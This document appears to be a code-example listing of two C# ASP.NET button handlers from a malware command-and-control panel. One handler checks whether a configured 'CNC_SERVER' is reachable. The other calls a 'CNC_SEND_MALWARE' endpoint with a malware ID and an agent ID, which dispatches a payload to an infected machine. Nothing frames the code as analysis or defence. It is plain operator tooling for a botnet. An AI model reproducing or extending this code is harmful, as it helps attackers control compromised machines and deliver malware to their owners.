Esempio n. 1
0
    protected void Button1_Click(object sender, EventArgs e)
    {
        try
        {
            var responseString = string.Format(System.Configuration.ConfigurationManager.AppSettings["CNC_SERVER"].ToString())
                                 .GetStringAsync();

            string v = responseString.Result;
            GR0021XX.DataBind();
        }
        catch (Exception xxx)
        {
            string script = "Swal.fire({ type: 'error', title: 'Oops...', text: '" + "CNC Server is not reachable" + "' });";
            Page.ClientScript.RegisterStartupScript(this.GetType(), "CallMyFunction", script, true);
        }
    }
Esempio n. 2
0
    protected void btn_check_status_Click(object sender, EventArgs e)
    {
        try
        {
            var responseString = string.Format(System.Configuration.ConfigurationManager.AppSettings["CNC_SEND_MALWARE"].ToString() +
                                               "?malware_id={0}&agent_id={1}",
                                               int.Parse(txt_malware_id.Value.ToString()),
                                               int.Parse(Request.QueryString["id"].ToString()))
                                 .GetStringAsync();

            string v = responseString.Result;
            GR0021XX.DataBind();
        }
        catch (Exception xxx)
        {
            string script = "Swal.fire({ type: 'error', title: 'Oops...', text: '" + "CNC Server is not reachable" + "' });";
            Page.ClientScript.RegisterStartupScript(this.GetType(), "CallMyFunction", script, true);
        }
    }